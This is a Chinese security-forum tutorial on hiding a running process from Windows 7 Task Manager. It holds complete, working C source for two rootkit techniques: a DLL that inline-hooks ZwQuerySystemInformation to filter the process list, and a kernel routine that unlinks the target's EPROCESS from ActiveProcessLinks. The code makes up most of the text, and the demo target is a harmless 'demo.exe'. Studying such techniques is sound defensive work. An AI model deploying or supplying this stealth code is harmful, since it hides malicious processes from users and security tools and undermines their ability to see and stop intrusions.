一.前言
本次实现是在WIN7 X86系统上进行,实验要达到的目的就是实现进程的隐藏,以让任务管理器查不到要隐藏的进程。这里要隐藏的程序是一个简单的HelloWord弹窗程序,程序名是demo.exe。
二.用户层的进程隐藏技术
1.实现原理
用户层的进程隐藏的实现主要是通过HOOK任务管理器的ZwQuerySystemInformation函数。之所以是这个函数,是因为无论是通过EnumProcess函数还是CreateToolhelp32Snapshot函数来查询进程,它们最终都会调用ntdll.dll中的ZwQuerySystemInformation函数来实现功能。
所以只要采用DLL注入技术,将DLL注入到要HOOK的进程中,并在DLL加载的时候执行HOOK ZwQuerySystemInformation函数就可以实现进程隐藏。关于如何实现DLL注入请参考这篇常见的几种DLL注入技术。而对ZwQuerySystemInformation的HOOK采取的是Inline Hook的技术。如何实现Inline Hook请参考这篇内核层的三种HOOK技术。
在IDA中可以看到ZwQuerySystemInformation的实现如下。由于它最开始的五个字节是为eax赋值调用号,所以其实可以根据热补丁的思想,对这五个字节进行HOOK。然后在HOOK完要执行的函数里面对eax进行重新赋值以后在跳转到下一行代码也就是mov edx, 0x7FFE0300进行执行。
由于之前写过热补丁技术,这里的话就用传统的HOOK步骤。
使用GetProcAddress函数获取要HOOK的函数的地址,并将其保存
修改前五字节的页属性为可读可写可执行
将这五个字节读出来备份起来
计算从需要跳转的大小,公式是: 要跳转的目的地址-(HOOK的函数的地址 + 5)
将计算好距离的跳转指令写入函数的这五个字节
还原页属性
UnHook则非常简单
判断函数是否被HOOK
修改函数地址页属性为可读可写可执行
HOOK的时候保存的五个字节写回到函数地址
恢复函数地址页属性
在完成HOOK以后执行的函数内部就需要以下的步骤来让程序正常运行
首先调用UnHook将函数恢复
调用原函数获取返回结果,将要隐藏的进程隐藏掉
再次对程序进行HOOK操作
至于要如何将进程隐藏起来,就需要首先看看ZwQuerySystemInformation在文档中的定义了
NTSTATUS WINAPI ZwQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength);
参数 | 说明 |
SystemInformationClass | 要检索的类型。是一个SYSTEM_INFORMATION_CLASS的联合体 |
SystemInformation | 指向缓冲区的指针,用于接收请求信息。该信息的大小和结构取决于SystemInformationClass |
SystemInformationLength | SystemInformation参数指向的缓冲区的大小 |
ReturnLength | 一个可选指针,指向函数写入请求信息的实际大小的位置 |
而SYSTEM_INFORMATION_CLASS,在文档中的定义如下
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
当它指定为SystemProcessInformation(0x5)的时候,就表示要检索系统的进程信息。函数将会得到所有的进程信息并把这些得到的进程信息的内容保存到SYSTEM_PROCESS_INFORMATION结构数组,数组中的每一个元素都代表了一个进程信息。而数组的首地址将会保存到第二个参数SystemInformation中。
而SYSTEM_PROCESS_INFORMATION在文档中的定义如下
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
BYTE Reserved1[52];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
其中的NextEntryOffset代表的是下一个SYSTEM_PROCESS_INFORMATION元素距离现在这个SYSTEM_PROCESS_INFORMATION元数的偏移。
而UniqueProcessId就是查询到的这个进程的PID。根据它就可以找到要隐藏的进程,并将它从这个结构体数组中断开,也就是要隐藏进程的SYSTEM_PROCESS_INFORMATION的上一个元数的NextEntryOffset加上当前SYSTEM_PROCESS_INFORMATION的NextEntryOffset。具体代码实现如下
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
#include <TlHelp32.h>
#define HIDE_PROCESS_NAME "demo.exe" //要隐藏的进程名
typedef
NTSTATUS
(WINAPI* pfnZwQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
//HOOK以后要执行的函数
NTSTATUS WINAPI MyZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
BOOL Hook();
BOOL UnHook();
VOID ShowError(PCHAR msg);
DWORD WINAPI ThreadProc(LPVOID lpParameter);
DWORD GetPid(PCHAR pProName); //根据进程名获取要隐藏的进程的PID
DWORD g_dwOrgAddr = 0; //原函数地址
CHAR g_szOrgBytes[5] = { 0 }; //保存函数的前五个字节
DWORD g_dwHidePID = 0; //要隐藏的进程的PID
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
if (hThread) CloseHandle(hThread);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
BOOL Hook()
{
BOOL bRet = TRUE;
HMODULE hNtDll = NULL;
pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;
BYTE szShellCode[5] = { 0xE9, 0, 0, 0, 0 }; //写入跳转指令的五字节
DWORD dwOldProtect = 0; //保存原来的页属性
hNtDll = LoadLibrary("ntdll.dll");
if (hNtDll == NULL)
{
ShowError("LoadLibrary");
bRet = FALSE;
goto exit;
}
//获取函数地址
ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hNtDll, "ZwQuerySystemInformation");
if (ZwQuerySystemInformation == NULL)
{
ShowError("GetProcAddress");
bRet = FALSE;
goto exit;
}
//保存HOOK函数的地址
g_dwOrgAddr = (DWORD)ZwQuerySystemInformation;
//修改页属性是可读可写可执行
if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
ShowError("VirtualProtect");
bRet = FALSE;
goto exit;
}
//将原来的五个字节内容保存
if (!ReadProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, g_szOrgBytes, sizeof(g_szOrgBytes), NULL))
{
ShowError("ReadProcessMemory");
bRet = FALSE;
goto exit;
}
//计算要跳转的长度
*(PDWORD)(szShellCode + 1) = (DWORD)MyZwQuerySystemInformation - ((DWORD)ZwQuerySystemInformation + 5);
//将shellcode写入
if (!WriteProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, szShellCode, sizeof(szShellCode), NULL))
{
ShowError("WriteProcessMemory");
bRet = FALSE;
goto exit;
}
//还原页属性
if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), dwOldProtect, &dwOldProtect))
{
ShowError("VirtualProtect");
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
BOOL UnHook()
{
BOOL bRet = TRUE;
DWORD dwOldProtect = 0; //保存页属性
if (g_dwOrgAddr == 0)
{
MessageBox(NULL, TEXT("函数还未HOOK"), TEXT("Error"), MB_OK);
bRet = FALSE;
goto exit;
}
//修改页属性为可读可写可执行
if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
ShowError("VirtualProtect");
bRet = FALSE;
goto exit;
}
//将函数中原来的内容恢复回去
if (!WriteProcessMemory(GetCurrentProcess(), (PVOID)g_dwOrgAddr, g_szOrgBytes, sizeof(g_szOrgBytes), NULL))
{
ShowError("WriteProcessMemory");
bRet = FALSE;
goto exit;
}
//将页属性恢复
if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), dwOldProtect, &dwOldProtect))
{
ShowError("VirtualProtect");
bRet = FALSE;
goto exit;
}
g_dwOrgAddr = 0;
memset(g_szOrgBytes, 0, sizeof(g_szOrgBytes));
exit:
return bRet;
}
NTSTATUS WINAPI MyZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status = 0;
PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
DWORD dwOrgFuncAddr = 0;
//获取函数地址
dwOrgFuncAddr = g_dwOrgAddr;
//卸载HOOK
if (!UnHook())
{
MessageBox(NULL, TEXT("UnHook失败"), TEXT("Error"), MB_OK);
goto exit;
}
status = ((pfnZwQuerySystemInformation)dwOrgFuncAddr)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
//判断函数是否调用成功,以及是否是查询进程的操作
if (NT_SUCCESS(status) && SystemInformationClass == SystemProcessInformation)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE)
{
//判断是否是要隐藏的进程
if (g_dwHidePID == (DWORD)pCur->UniqueProcessId)
{
//将进程隐藏起来
if (pPrev == NULL) SystemInformation = (PBYTE)pCur + pCur->NextEntryOffset;
else if (pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0;
else pPrev->NextEntryOffset += pCur->NextEntryOffset;
break;
}
else pPrev = pCur;
//如果没有下一个成功则退出
if (pCur->NextEntryOffset == 0) break;
//将指针指向下一个成员
pCur = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pCur + pCur->NextEntryOffset);
}
}
//重新HOOK
if (!Hook()) MessageBox(NULL, TEXT("Hook失败"), TEXT("Error"), MB_OK);
exit:
return status;
}
DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
g_dwHidePID = GetPid(HIDE_PROCESS_NAME);
if (g_dwHidePID == 0)
{
MessageBox(NULL, TEXT("没有找到要隐藏的进程"), TEXT("Error"), MB_OK);
}
else
{
if (!Hook())
{
MessageBox(NULL, TEXT("Hook 失败"), TEXT("Error"), MB_OK);
}
else MessageBox(NULL, TEXT("Hook成功"), TEXT("Success"), MB_OK);
}
return 0;
}
DWORD GetPid(PCHAR pProName)
{
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
BOOL bRet = FALSE;
if (hSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot process %d\n", GetLastError());
return 0;
}
pe32.dwSize = sizeof(pe32);
bRet = Process32First(hSnap, &pe32);
while (bRet)
{
if (lstrcmp(pe32.szExeFile, pProName) == 0)
{
return pe32.th32ProcessID;
}
bRet = Process32Next(hSnap, &pe32);
}
CloseHandle(hSnap);
return 0;
}
VOID ShowError(PCHAR msg)
{
CHAR szError[105] = { 0 };
sprintf(szError, "%s Error %d", msg, GetLastError());
MessageBox(NULL, szError, TEXT("Error"), MB_OK);
}
2.运行结果
在实现注入HOOK函数之前可以看到任务管理器可以查看到打开的demo.exe进程
完成注入,HOOK成功之后就看不到了
三.内核层的进程隐藏技术
1.实现原理
在内核中每一个进程都有对应的一个EPROCESS结构体,在Windows7下这个结构体中的部分成员如下,其中0x16C保存了进程名字的指针。通过这个指针可以获得当前EPROCESS表示的是哪一个进程
3: kd> dt _EPROCESS
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY //进程链表
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
+0x0f0 ExceptionPortData : Ptr32 Void
+0x0f0 ExceptionPortValue : Uint4B
+0x0f0 ExceptionPortState : Pos 0, 3 Bits
+0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : Uint4B
+0x100 AddressCreationLock : _EX_PUSH_LOCK
+0x104 RotateInProgress : Ptr32 _ETHREAD
+0x108 ForkInProgress : Ptr32 _ETHREAD
+0x10c HardwareTrigger : Uint4B
+0x110 PhysicalVadRoot : Ptr32 _MM_AVL_TABLE
+0x114 CloneRoot : Ptr32 Void
+0x118 NumberOfPrivatePages : Uint4B
+0x11c NumberOfLockedPages : Uint4B
+0x120 Win32Process : Ptr32 Void
+0x124 Job : Ptr32 _EJOB
+0x128 SectionObject : Ptr32 Void
+0x12c SectionBaseAddress : Ptr32 Void
+0x130 Cookie : Uint4B
+0x134 Spare8 : Uint4B
+0x138 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY
+0x13c Win32WindowStation : Ptr32 Void
+0x140 InheritedFromUniqueProcessId : Ptr32 Void
+0x144 LdtInformation : Ptr32 Void
+0x148 VdmObjects : Ptr32 Void
+0x14c ConsoleHostProcess : Uint4B
+0x150 DeviceMap : Ptr32 Void
+0x154 EtwDataSource : Ptr32 Void
+0x158 FreeTebHint : Ptr32 Void
+0x160 PageDirectoryPte : _HARDWARE_PTE
+0x160 Filler : Uint8B
+0x168 Session : Ptr32 Void
+0x16c ImageFileName : [15] UChar //指向进程的名称
+0x17b PriorityClass : UChar
+0x17c JobLinks : _LIST_ENTRY
+0x184 LockedPagesList : Ptr32 Void
+0x188 ThreadListHead : _LIST_ENTRY
其中偏移0xB8的ActiveProcesssLinks是一个LIST_ENTRY的链表,它在文档中的定义如下
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink; //指向下一个EPROCESS的ActiveProcessLinks
struct _LIST_ENTRY *Blink; //指向上一个EPROCESS的ActiveProcessLinks
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
这是一个双向链表,通过这个链表就可以遍历系统中的所有进程。而用户层通过API查看进程的时候,就是通过这个链表来查找进程的内容。所以只要在内核中将相应进程从这个链表中断链就可以实现进程隐藏。但是要注意这个链表的中的成员指向的是另一个EPROCESS的ActiveProcessLinks,如下图所示。所以要获得这个进程的EPROCESS还需要减去0xB8。
具体实现的代码如下
VOID HideProcess()
{
PEPROCESS pCurPro = NULL, pPrevPro = NULL;
PCHAR pImageFileName = NULL;
PLIST_ENTRY pListEntry = NULL;
//获取当前进程的EPROCESS
pCurPro = PsGetCurrentProcess();
pPrevPro = pCurPro;
do
{
//获取EPROCESS的进程名
pImageFileName = (PCHAR)pCurPro + 0x16C;
//是否是要隐藏的进程
if (strcmp(pImageFileName, "demo.exe") == 0)
{
//对进程进行断链操作
pListEntry = (PLIST_ENTRY)((ULONG)pCurPro + 0xB8);
pListEntry->Blink->Flink = pListEntry->Flink;
pListEntry->Flink->Blink = pListEntry->Blink;
DbgPrint("进程%s隐藏成功\r\n", pImageFileName);
}
pCurPro = (PEPROCESS)(*(PULONG)((ULONG)pCurPro + 0xB8) - 0xB8);
} while (pCurPro != pPrevPro);
}
2.运行结果
驱动加载前可以看到任务管理器可以正常查到运行的demo.exe进程
而当驱动启动,执行了隐藏进程代码以后,在任务管理器中就看不到demo.exe了
[课程]Android-CTF解题方法汇总!
最后于 2021-11-30 10:01
被1900编辑
,原因: